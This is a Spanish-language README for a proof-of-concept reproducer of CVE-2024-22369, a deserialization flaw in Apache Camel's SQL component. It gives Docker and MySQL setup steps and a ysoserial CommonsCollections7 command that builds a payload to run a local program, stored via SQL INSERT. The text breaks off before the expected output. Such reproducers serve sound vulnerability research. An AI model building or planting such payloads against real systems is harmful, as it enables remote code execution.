
Reproductor de CVE-2024-22369
Este POC se basa en el reproductor creado por Ziyang Chen del HuaWei Open Source Management Center
El reproductor se ha utilizado para crear este PoC, con algunos ajustes y limpieza, y también se ha enriquecido con algo más de automatización.
Necesitaremos una instancia de MySQL
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Ahora necesitaremos crear las tablas requeridas:
Tienes dos archivos: employee.sql y employee_completed.sql
Ejecuta el siguiente comando:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Introduce tu contraseña, ejecuta USE db y ejecuta los dos archivos SQL.
En este punto ya tienes los elementos necesarios para reproducir la deserialización.
Ejecuta el siguiente comando
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
y anota la dirección.
Ahora edita el archivo src/main/resources/application.properties según el estado de tu entorno.
El payload que estamos usando está basado en commons-collections 3.2.1.
Tendrás que usar:
https://github.com/frohoff/ysoserial
Desde la línea de comandos puedes recrear el payload de esta manera:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Esto devolverá la versión hexadecimal del payload. La idea es ejecutar el comando gedit mientras se deserializa.
Puedes experimentar con posibles payloads y modificar los scripts SQL cambiando la sentencia INSERT y añadiendo los nuevos
payloads generados.
Para reproducir el comportamiento. En primer lugar, selecciona un JDK 17 (localmente o mediante SDKMan).
A continuación, ejecuta el siguiente comando:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Esto producirá la siguiente salida: